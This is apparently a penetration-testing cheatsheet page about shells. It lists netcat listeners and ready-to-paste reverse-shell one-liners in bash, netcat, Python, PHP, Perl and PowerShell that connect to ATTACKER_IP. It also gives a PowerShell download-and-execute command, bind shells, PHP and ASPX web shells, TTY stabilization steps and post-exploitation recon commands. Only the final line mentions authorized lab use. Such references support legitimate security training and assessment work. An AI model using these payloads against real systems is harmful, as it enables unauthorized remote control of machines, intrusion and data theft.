Skip to content

Shells

Executive Summary

Shells provide command execution on a target system. The most common types are reverse shells, bind shells, web shells, and upgraded interactive shells.

Use this cheatsheet for quick payload syntax, listeners, and shell stabilization.

Shell Types

Type Description
Reverse shell Target connects back to attacker
Bind shell Target listens; attacker connects to target
Web shell Command execution through a web-accessible script
Interactive shell Shell with better terminal behavior and job control
Meterpreter shell Metasploit-managed post-exploitation session

Netcat Listener

Start listener:

nc -lvnp 4444

Ncat listener:

ncat -lvnp 4444

Listen with rlwrap:

rlwrap nc -lvnp 4444

Linux Reverse Shells

Bash:

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Bash alternative:

0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196

Netcat with -e:

nc ATTACKER_IP 4444 -e /bin/bash

Netcat without -e:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

Python:

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

PHP:

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl:

perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

Windows Reverse Shells

PowerShell TCP client:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String);$sendback2=$sendback + "PS " + (pwd).Path + "> ";$sendbyte=([Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

PowerShell download and execute:

IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP/shell.ps1")

Bind Shells

Linux Netcat bind shell with -e:

nc -lvnp 4444 -e /bin/bash

Linux Netcat bind shell without -e:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f

Connect to bind shell:

nc TARGET_IP 4444

Web Shells

PHP web shell:

<?php system($_GET['cmd']); ?>

Use it:

http://TARGET/shell.php?cmd=id

PHP POST web shell:

<?php system($_POST['cmd']); ?>

ASPX basic command execution:

<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["cmd"]); %>

Shell Stabilization

Spawn TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Background shell:

CTRL+Z

Set terminal:

stty raw -echo; fg

Fix terminal:

reset

Set environment:

export TERM=xterm

Set rows and columns:

stty rows 40 columns 120

Find local terminal size:

stty size

Upgrade with Script

script -qc /bin/bash /dev/null

Useful Post-Shell Commands

Linux:

whoami
id
hostname
ip addr
ip route
pwd
ls -la

Windows:

whoami
hostname
ipconfig /all
route print
net user
net localgroup administrators

Common Problems

Problem Fix
No prompt Press Enter or run python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+C kills shell Stabilize TTY with stty raw -echo; fg
Arrow keys broken Set TERM=xterm
Commands hang Check firewall, listener, or shell payload
No outbound connection Try common ports like 80, 443, or 53
Netcat lacks -e Use named pipe payload

Notes

  • Reverse shells are usually more reliable than bind shells.
  • Bind shells are often blocked by inbound firewall rules.
  • Web shells depend on web server permissions.
  • Stabilize Linux shells before running interactive tools.
  • Use authorized lab and assessment environments only.